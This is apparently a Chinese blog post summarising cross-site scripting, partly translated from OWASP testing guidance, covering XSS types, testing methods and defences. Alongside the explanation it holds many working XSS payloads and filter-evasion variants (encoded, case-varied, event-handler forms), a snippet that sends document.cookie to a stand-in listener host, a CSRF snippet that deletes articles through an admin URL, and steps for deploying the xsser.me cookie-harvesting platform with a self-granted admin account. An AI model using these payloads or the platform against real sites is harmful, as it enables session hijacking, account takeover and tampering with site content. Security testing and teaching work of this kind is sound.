XSS（跨站腳本攻擊）的最全總結

從OWASP的官網意譯過來，加上自己的理解，算是比較全面的介紹。有興趣的可私下交流。

XSS 跨站腳本攻擊
====================================================================================================================================================
*	什么是XSS

	**	綜述
			Cross-Site Scripting（XSS）是一類注入問題，惡意腳本被注入到健康的、可信任的網站。當一個攻擊者通過一個網站應用程序，
	以瀏覽器端腳本的形式，給另一端的用戶發送惡意代碼時，XSS攻擊就發生了。允許這種攻擊成功的缺陷廣泛存在於各個大小網站，
	只要這個網站某個頁面將用戶的輸入包含在它生成的動態輸出頁面中並且未經驗證或編碼轉義，這個缺陷就存在。
			攻擊者使用XSS發送惡意腳本給一個不持懷疑態度的用戶，用戶端的瀏覽器沒法知道腳本可不可信，從而執行該js腳本。因為瀏覽器
	認為該腳本來自於一個可信賴的網站，導致惡意腳本可以訪問任何cookies信息、會話令牌、或者其他由瀏覽器保存的但由那個網站
	使用的敏感信息，甚至可以修改當前網頁內容。
			存儲型XSS：存儲在數據庫，是永久的，除非數據庫被重置或者惡意語句被人工刪除。攻擊者引導用戶到一個特定的頁面。
			反射型XSS：惡意腳本沒有存儲在遠端的網站應用中，需要社會工程學配合，比如通過郵件或聊天軟件發送鏈接。主要用來竊取cookie。

	**	跨站腳本發生在什么時候？
		-	數據通過一個不可信的源，大多數時是一個頁面請求，進入網站應用。
		-	數據未經驗證是否含有惡意內容，就包含在動態內容中發送給網站用戶。
		發送到瀏覽器的惡意內容通常以一段js腳本的形式存在，但也可能是html、flash或者任何其他可能被瀏覽器執行的代碼。基於xss的攻擊是
		多樣化沒有限制的，常見的有傳輸私密數據，像cookies或其他會話信息，對攻擊者而言，重定向或引誘受害者到由攻擊者所控制的頁面，或者
		偽裝成可信賴網站，直接在用戶機器上執行惡意操作。
	
	**	分類
		XSS攻擊通常被分為兩類：存儲型和反射型。還有第三類，不那么知名的，基於DOM的xss。

		-	存儲型
			注入的腳本被永久的存儲在了目標服務器中，比如數據庫、論壇帖子、訪問日志、留言評論等。受害者向服務器請求獲取存儲的信息時，
			就獲得了這些惡意腳本。存儲型XSS也被稱為持久型或I-型XSS。

		-	反射型
			注入腳本從網站服務器被反彈回來，比如錯誤消息、搜索結果、或者任何其他響應（這些響應完全或部分包含了用戶在瀏覽器輸入的內容）。
			反射型攻擊通過其他途徑傳遞到受害者，比如郵件、或其他網站。當用戶被引誘點擊惡意鏈接，提交一個特別構造的表單、或瀏覽一個惡意
			站點，注入腳本傳送到了脆弱站點並反射給用戶的瀏覽器，瀏覽器認為該鏈接來自一個可信的服務器就執行了它。反射型XSS也稱為非持久型
			或II-型XSS。
		
		-	DOM型
			DOM型XSS又稱0-型xss。攻擊者提交的惡意數據並未顯式的包含在web服務器的響應頁面中，但會被頁面中的js腳本以變量的形式來訪問到，
			導致瀏覽器在渲染頁面執行js腳本的過程中，通過DOM操作執行了變量所代表的惡意腳本。這種也被歸類為‘client-side xss’。
			前兩類xss攻擊中，服務器的響應頁面中顯式的包含了惡意內容，被歸類為‘server-side xss’。

	**	攻擊后果
		無論是存儲型、反射型還是DOM型，攻擊后果都是相同的。不同點在於payload到達服務器的方式。不要愚蠢的認為一個只讀的站點對反射型xss
		是免疫的。xss會引起一系列的問題，嚴重程度從噪音干擾到完全的賬戶危害。大多數嚴重的xss攻擊涉及用戶回話cookie泄露，允許攻擊者劫持
		用戶的會話從而接管賬戶。其他破壞性攻擊包括終端用戶文件泄露、特洛伊木馬安裝、重定向用戶到其他頁面或站點、或修改頁面內容。xss弱點
		引起的新聞稿或新聞條目被修改會影響公司股價或削弱消費者信心。一個醫葯站點的xss缺陷允許攻擊者修改劑量信息導致用葯過量。

	**	如何判斷網站是否脆弱
		網站應用中的xss缺陷是難以識別和移除的。最好的檢測和發現缺陷的方法就是進行代碼的安全審計，搜索所有可能的接收用戶數據輸入的地方，
		並且輸入的數據會顯示在網站服務器響應的頁面中。請注意，各種不同的HTML標簽可以用來傳輸惡意腳本。Nessus、Nikto等工具可以幫助我們
		掃面網站的xss缺陷，但是不夠周祥和深刻。如果網站某一部分是可以入侵的，那么其他問題也存在的可能性就很高。
		
	**	xss防御
		-	防御手冊	https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
		-	自動檢測dom缺陷的chrome插件	http://code.google.com/p/domsnitch/

	**	反射型xss測試
	***	概要
			反射型注入攻擊發生在用戶打開一個惡意構造的鏈接或第三方網頁，攻擊字符串包含在構造的url中或者是http參數中，web應用沒有
		適當的處理並返回給受害者。
			反射型的攻擊負載通過單一的請求和響應被傳遞和執行。如果一個網站存在xss缺陷，它會將請求中附帶的參數不經驗證的回傳給客戶端。
		這種攻擊最常見的做法分兩步：設計，攻擊者創建和測試構造的惡意鏈接；社會工程學，確信受害者會通過瀏覽器加載這個url並最終執行。
			通常，攻擊代碼使用js編寫，但其他語言比如action script、vb script等也會用到。攻擊者可以安裝鍵盤記錄器、竊取cookies、粘貼板、
		改變頁面內容（比如下載鏈接）。
			預防xss漏洞的主要難點之一是合適的字符編碼。一些情況下，web服務器不能過濾某些字符編碼，比如可以過濾‘<script>’，但是無法
		過濾%3cscript%3e。
		
	***	如何測試
	****	黑盒測試
	黑盒測試至少包含3個階段：
		-	1、探測輸入向量。每一個網頁，測試者必須判定網站應用定義了哪些變量、如何輸入他們。這些變量也包含隱藏的或非顯式的輸入，比如
	http參數、post數據、隱藏的表單字段、預定義的單選鈕或復選框的值。瀏覽器內置的HTML編輯器或web代理可以用來審查這些隱藏的變量。
		-	2、分析每個輸入向量去檢測潛在的漏洞。為了檢測潛在xss漏洞，測試者應為每個輸入向量構造特別的填充數據。測試數據可以通過模糊測試
	工具生成，自動生成預定義的攻擊字符串列表，或者人工。逃避xss過濾的攻擊列表。
		-	3、對每個嘗試過的輸入，測試者根據反饋頁面判定是否它代表一個漏洞並對網站安全構成實際威脅。這個需要檢查結果頁面並搜尋輸入的
	數據。一旦找到，測試者就可識別出那些特別的未經編碼、替換、過濾的數據。理想情況下，所有的HTML關鍵字都需要經過html實體編碼。
	做關鍵的幾個需要編碼的字符是：{<	>	&	'	"}。

	
	****	XSS過濾繞過
	請參考 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。
			當網站應用清理輸入、網站應用防火牆或瀏覽器內置的機制阻止惡意輸入時，反射型xss就會被阻攔。但是測試者必須假定瀏覽器不會
	阻攔這類攻擊，比如版本陳舊、內置安全功能被禁用等，並測試所有可能的漏洞。類似的，網站防火牆不能保證識別新奇的、未知的攻擊。
	攻擊者能構造防火牆無法識別的攻擊字符串。
			因此，防御xss攻擊主要依賴網站應用清理不可信任的用戶輸入。有幾種清理辦法，比如返回錯誤、過濾或轉義關鍵字。同時這些預防手段
	也造就了另外一個弱點：黑名單不可能囊括所有可能的攻擊字符串、白名單可能過渡授權，這時清理就會失敗，導致某類輸入被不正確的信任
	並未被清理。

	****	攻擊測試的例子
		-	http://example.com/index.php?user=<script>alert(123)</script>
		-	http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); 
			AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> 
		-	標簽屬性值
			<input type="text" name="state" value="INPUT_FROM_USER">
			" onfocus="alert(document.cookie)
		-	不同的語法或編碼
			"><ScRiPt>alert(document.cookie)</ScRiPt>
				"%3cscript%3ealert(document.cookie)%3c/script%3e
		-	非遞歸性過濾
			<scr<script>ipt>alert(document.cookie)</script>
		-	繞過正則過濾
			模式串	$re = "/<script[^>]+src/i";
			添加額外的屬性，繞過	http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT> 
		-	HTTP parameter pollution
			https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
			http參數污染，查詢字符串或表單提交的參數中某個同名參數出現了多次，apache等web服務器解析協議參數時的方式各異，
			網站應用程序的各個組件所使用的參數值不一致。


	**	存儲型XSS測試
	***	概述
			存儲型XSS是最危險的跨站腳本攻擊。網站應用程序允許用戶存儲數據，這類網站就潛在的暴露在這類攻擊面前。
	當網站應用從用戶那里搜集輸入的數據，然后存儲起來以備后用，但這些輸入沒有經過正確的過濾，結果惡意數據被做為網站
	頁面的一部分得以呈現，並運行在用戶瀏覽器中且擁有網站應用程序所屬用戶的權限。
			這種漏洞可以被用來實施基於瀏覽器的攻擊：
				-	劫持用戶瀏覽器
				-	捕獲用戶所瀏覽的網站敏感信息
				-	對內網主機進行端口掃描
				-	基於瀏覽器利用的定向投遞
			存儲型xss不需要利用惡意鏈接，用戶訪問某個加載了之前存儲的xss代碼的頁面時就會觸發。攻擊場景一般有下面幾個階段：
				-	攻擊者存儲惡意代碼到由漏洞的頁面
				-	用戶通過應用程序的身份認證
				-	用戶訪問漏洞頁面
				-	惡意代碼被用戶的瀏覽器執行
			這類攻擊可以結合瀏覽器利用框架比如beef、xss prox、backframe。這些框架允許復雜的腳本利用開發。
			當訪問漏洞頁面的用戶有比較高的權限時，這類攻擊特別危險。比如當管理員訪問漏洞頁面時，這類攻擊就自動被瀏覽器執行。
	這就可能暴露敏感信息比如會話令牌。


	***	如何測試
	****	黑盒測試
			識別存儲型漏洞的過程和之前測試反射型漏洞類似。
	
	*****	輸入表單
		第一步是找出哪些地方的用戶輸入會被存儲到后端並會被渲染顯示在前端。典型的存儲用戶輸入的地方有：
			-	用戶|配置，網站應用允許用戶修改個人配置詳細信息，比如姓名、昵稱、頭像、地址等；
			-	購物籃，
			-	文件管理器，應用程序允許文件上傳
			-	應用程序偏好設置
			-	論壇|消息面板，允許用戶之間互相發送消息
			-	博客，允許用戶留言評論
			-	日志，如果網站應用將某些用戶的輸入存進日志

	*****	分析HTML代碼
		用戶輸入被網站應用存儲后，一般會在顯示時當做html標簽的屬性值。這一步中，最根本的是去理解輸入部分被渲染顯示時，
	在頁面上下文中是怎么被安放的。所有可能被管理員看到的輸入部分都需要被測試。
	比如，后台用戶管理中某個用戶的詳細信息，有郵件：
		<input class="inputbox" type="text" name="email" size="40" value="[e-mail]" />
	這時，可以在<input>標簽后面注入惡意代碼：
		<input class="inputbox" type="text" name="email" size="40" value="[e-mail]"> MALICIOUS CODE <!-- />

	*****	試驗是否可以注入
		這就涉及輸入驗證、后端的過濾規則。比如注入：
			[e-mail]"><script>alert(document.cookie)</script>
			[e-mail]%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
		為了保證注入的數據被提交，通常需要暫時禁用瀏覽器的js代碼執行、或在本地代理的http編輯器中修改請求的原始數據。
		但是提交后，可能被網站應用程序過濾，比如script被替換成了空格或者空串，這就是一個潛在的過濾信號，當然有很多規避
		過濾的技術。
	
	*****	利用存儲的注入代碼
		存儲的惡意代碼可以被高級js利用框架利用，比如beef、xss-proxy、backframe。
		一個典型的beef利用場景涉及：
			-	注入一段js鈎子代碼，可以與攻擊者的瀏覽器利用框架通信
			-	等待網站用戶訪問漏洞頁面
			-	通過beef控制台控制網站用戶的瀏覽器
		beef可以訪問用戶的cookies、屏幕截圖、剪貼板、以及發起更復雜的xss攻擊。如果這個漏洞頁面會被擁有不同權限的用戶訪問，
		那么這個攻擊是相當有效的。

	*****	文件上傳
		如果網站應用允許文件上傳，需要檢測下是否可以上傳html內容。如果html或txt文件被允許，那么xss負載就可以被注入。
	滲透測試人員應該驗證是否這個上傳點允許設置任意的MIME類型。這個設計缺陷允許瀏覽器的MIME誤處理攻擊。比如，看起來無害的
	JPG和GIF文件包含xss負載，可能在被瀏覽器載入的時候得到執行。這個是可能的，當本應設置MIME為image/gif時卻設置為text/html。
	這種情況下，文件被客戶端瀏覽器創建為HTML。
		偽造POST請求：
			Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
			Content-Type: text/html

			<script>alert(document.cookie)</script>
	
	**	DOM型XSS測試
	***	概述
		DOM型跨站腳本事實上是瀏覽器端的動態內容所引起的xss bug。典型的，比如js，獲取用戶輸入並用它做了一些不安全的事情導致注入代碼
	被執行。本文只是討論 js bug 所引起的xss漏洞。
		DOM，全稱為Document Object Model，是一種結構化的格式，被用來表達瀏覽器中的文檔。DOM允許動態腳本，比如js，來引用文檔中的
	組件，比如表單字段、或會話令牌。DOM也被瀏覽器來實現安全策略，比如同源策略限制跨域DOM操作。當動態內容，比如js函數被一個構造的
	請求修改，dom元素可以被攻擊者控制，從而形成xss漏洞。
		很少有這方面的論文發表，因此它的含義和正規測試方法幾乎沒有標准的定義。
	
	***	如何測試
		不是所有的xss bug都需要攻擊者去控制從服務器返回的動態頁面，但是泛濫的愚蠢的js編碼會導致同樣的結果。
		與其他類型的xss漏洞（服務器未清理用戶提交的參數，回傳給用戶瀏覽器端並得到執行）相比，dom-xss 可以控制代碼的執行流程。
		大多數情況下，dom-xss可以在服務端不知情的情況下執行。比如：
			<script>
				document.write("Site is at: " + document.location.href + ".");
			</script>
	攻擊者追加#<script>alert('xss')</script>到頁面的url后面，當執行時會彈窗。這個例子中，追加的代碼不會被發送到服務端，因為#
	后面的字符串根本沒有被瀏覽器當做查詢字符串的一部分，而是作為一個錨標記，因而無需和服務器取得聯系。
		dom-xss的攻擊后果和其他更知名的xss攻擊一樣廣泛，cookies獲取、更進一步的惡意腳本注入，所以應該被划分到同樣的嚴重等級。
	
	****	黑盒測試
		dom-xss的黑盒測試是不必要的，因為前端的源碼總是可見的，瀏覽器需要從服務端那獲取並執行。
	
	****	灰盒測試
		js應用程序和其他的應用程序有顯著的區別，因為他們是由服務端動態產生的，為了理解什么代碼正在被執行，測試者需要爬行站點來
	判定正在被執行的腳本和哪些地方是接收用戶輸入的。許多站點依賴大量的庫函數，伸展開后有成百上千行代碼並且不是內部開發的。這種
	情況下，自頂向下的測試常常是唯一可行的選擇，因為許多底層的函數從沒用到過，從中分析哪些是弱點耗費太多時間。對於自頂向下測試，
	是否能識別哪些地方接收用戶輸入同樣至關重要。
		用戶輸入來源有兩種形式：
			-	服務端動態寫入，不允許直接的xss
			-	客戶端腳本對象中獲取的變量
		下面是服務端插入數據到js腳本中的兩個例子：
			var data = "<escaped data from the server>";
			var result = someFunction("<escaped data from the server>");
		下面是從客戶端js對象中獲取輸入的兩個例子：
			var data = window.location;
			var result = someFunction(window.referer);
		對於js代碼來說，兩種獲取輸入的方式基本沒有差異，重要的是當從服務端獲取輸入時，服務端能對數據應用任何的排列組合，
	然而js對象中獲取的輸入卻很好理解。所以，如果上例中的js函數是弱點的話，前例中的漏洞利用依賴服務端的過濾，后例中的
	利用依賴於瀏覽器對window.referer對象的編碼。 參考 https://code.google.com/p/domxsswiki/wiki/LocationSources
		另外，js腳本也常常會在script標簽外部執行，過去許多的攻擊向量都導致了xss攻擊已經證實了這一點。所以，在爬行站點時，
	留意諸如‘事件處理器’、‘帶有expression屬性的css語句塊’等這些地方的代碼是很重要的。
		自動化測試在識別和驗證dom-xss漏洞時是很弱的，因為他僅僅是發送特定的負載並嘗試審查服務器響應的頁面。這個可能在一些
	簡單的例子中工作得比較好，比如那些參數被反射回給用戶的情況：
			<script>
				var pos=document.URL.indexOf("message=")+5;
				document.write(document.URL.substring(pos,document.URL.length));
			</script>
	但是下面不自然的例子無法被檢測到：
			<script>
				var navAgt = navigator.userAgent;
	 
				if (navAgt.indexOf("MSIE")!=-1) {
					document.write("You are using IE as a browser and visiting site: " + document.location.href + ".");
				}
				else
				{
					document.write("You are using an unknown browser.");
				}
			</script>
		基於這樣的原因，自動化測試通常無法檢測dom-xss漏洞，除非測試工具能對客戶端腳本執行額外的分析。
		人工測試應該進行，檢查某些代碼區域，那些區域中的參數對攻擊者而言是有用的。比如，代碼被動態寫到頁面、dom樹被修改、
	甚至腳本被直接執行。參考 http://www.webappsec.org/projects/articles/071105.shtml






*	可以往數據庫中寫入數據，如果能找到用戶評論或反饋表，那就足夠了
	-	將html和js代碼當做字符串，使用十六進制編碼，然后在sql注入點使用insert插入到該表。

		在被攻擊頁面插入如下js即可。
    var img=document.createElement("img");
    img.src="http://yourweb.com/listen?"+escape(document.cookie);
    document.body.appendChild(img);
    然后在web日志中可查看竊取的cookie信息
   
		如果，想讓某人刪除某篇文章，那么只需要讓某人執行(CSRF)
    var img=document.createElement("img");
    img.src="http://www.myhack58.com/max/admin/admin_news.asp?action=del&id=8";（找到刪除文章的url替換之）
    document.body.appendChild(img);


*	XSS攻擊試探
	**	沒有任何過濾
		<script>alert('xss')</script>
	**	過濾關鍵字script，但大小寫不敏感
		<ScripT>alert('xss')</ScripT>
	**	過濾了模式串<*s*c*r*i*p*t，而且大小寫敏感
		<img src='xx' onerror=alert('xss')>
	**	進行了html編碼
		沒得玩！！！

*	常見XSS攻擊代碼
	**	錨標記一句話執行
		<script>eval(location.hash.substring(1))</script></br>
	**	續行、冒號進行html編碼
		<a href="javasc
ript:alert(1)">click</a> </br>
	**	img標簽帶上事件
		<IMG “”><SCRIPT>alert(\'bask-slash no change to run\')</SCRIPT>”></br>
		<IMG “”><SCRIPT>alert('img1')</SCRIPT>”></br>
		<IMG “”"><SCRIPT>alert('img2')</SCRIPT>”></br>
		<IMG “”><SCRIPT>alert('img3')</SCRIPT>></br>
		-	js的unicode編碼，html十進制、十六進制編碼
			<img src="x" onerror="\u0061\u006c\u0065\u0072\u0074('js-unicode-encoded')"></br>
			<img src="x" onerror="alert(1)"></br>
			<img src="x" onerror="&#x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x68&#x74&#x6d&#x6c&#x7f16&#x7801&#x27&#x29"></br>
			<script>\u0061\u006c\u0065\u0072\u0074('js-unicode-encoded1111')</script>
	**	data中對網頁內容進行base64編碼，比如 <img src=x onerror=alert('base64')>
		<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KCdiYXNlNjQnKT4=">test</a></br>

	**	js8進制、16進制編碼字符串變量
		比如 "<img src="x" onerror="alert(1)"></br>"
		document.body.innerHTML='\x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x31\x36\x8fdb\x5236\x27\x29';
		document.body.innerHTML=’\74\151\155\147\40\163\162\143\75\42\170\42\40\157\156\145\162\162\157\162\75\42\141\154\145\162\164\50\61\51\42\76\74\57\142\162\76‘；



抵御XSS
=================================================================================================================================================================
thinkphp框架中有表單提交數據的過濾，默認采用html實體編碼進行轉義，就是所謂的I函數。

瀏覽器解釋器詞法分析遇到轉義的字符，就認為他是不可執行的，然后接着去反轉義，接着當做數據去顯示，沒有當做js代碼去執行。再解釋一次就可以得到執行。
比如：在firebug中用元素審查，隨便加個空格

post表單提交的漢字的傳輸編碼由<meta charset>指定，
	>>> print '%r' % u'你'.encode('utf8')
	'\xe4\xbd\xa0'
	傳輸中為%e4%bd%a0

不過地址欄附加的url參數，漢字默認為gbk編碼，這里為%c4%e3，比如你在百度搜索框輸入"你被入侵了"，然后查看地址欄url參數。
	>>> print '%r' % u'你'.encode('gbk')
	'\xc4\xe3'
	
抵御XSS攻擊，只需做到兩點：
	1、所有前端的頁面渲染，盡量使用ajax異步進行，從后台獲取要顯示的數據。
	2、前端提交過來的數據，在后台入口處統統對HTML中的關鍵字進行html編碼轉義。
做到上面方可基本無憂。

　　

 

附帶xss攻擊平台的搭建方法

=======================================

xsser.me 攻擊平台
=================================================================================================================
* 參考 https://hack0nair.me/2014-09-20-how-to-setup-a-xss-platform/
　　- 解壓后注意給予apache或nginx用戶的訪問權限，否則smarty模板引擎無法編譯出中間文件。

* 安裝
　　- 修改config.php里面的數據庫連接參數，包括用戶名，密碼，數據庫名，訪問URL起始和偽靜態的設置，其中主機名可帶端口號。
　　- 在根目錄下有文件xssplatform.sql，導入到數據庫。
　　- 進入數據庫執行語句修改域名為自己的，UPDATE oc_module SET code=REPLACE(code,'http://xsser.me','http://yourdomain/xss');
　　  同時替換authtest.php中的網址。
　　- 郵件提醒功能，自行修改文件\source\function.php中SendMail函數，把里面的郵箱賬號密碼換一下。
　　- 新增飛信短信提醒功能，修改\source\api.php中調用SendSMS一行。
　　- 開啟apache或nginx的重寫模式。下面給出apache2.2的配置：

<VirtualHost *:8081>

DocumentRoot /var/www/html/
ServerName vul.com

Alias /dvwa /var/www/html/DVWA/
<Directory /var/www/html/DVWA/>
Options FollowSymLinks
AllowOverride None
Order allow,deny
Allow from 10.46.125.134
Allow from 120.76.97.113
Allow from 127.0.0.1
Allow from 10.116.1.139
Allow from 112.74.100.44
Allow from 113.119.81
</Directory>

Alias /xss /var/www/html/xss_platform/
<Directory /var/www/html/xss_platform>
options FollowSymLinks
AllowOverride all #此處是為了讓網站目錄下的.htaccess生效
order allow,deny
Allow from all
</Directory>

#RewriteLogLevel 3
#RewriteLog "/tmp/vul.com-rewrite.log"

ErrorLog "/tmp/vul.com..error-log"
CustomLog "/tmp/vul.com.log" common
</VirtualHost>

* 注冊問題（默認是邀請注冊）
　　- 自助生成邀請碼，INSERT INTO `oc_invite_reg` (`id`, `userId`, `inviteKey`, `isUsed`, `regUserId`, `regTime`, `addTime`, `isWooyun`) VALUES (1, 1, '1', 0, 0, 0, 0, 0);
　　  然后使用其生成的邀請碼‘1’，注冊一個賬號即可。
　　- 備注：注冊成功用戶后，修改管理員表oc_user中的adminlevel為1，可定義自身為最高管理員可發送邀請碼。

* 用途
　　- 只是作為xss盲打的輔助工具，盲打后坐登通知，再利用其它高級工具比如xenotix、beef、蟻逅等進行漏洞利用。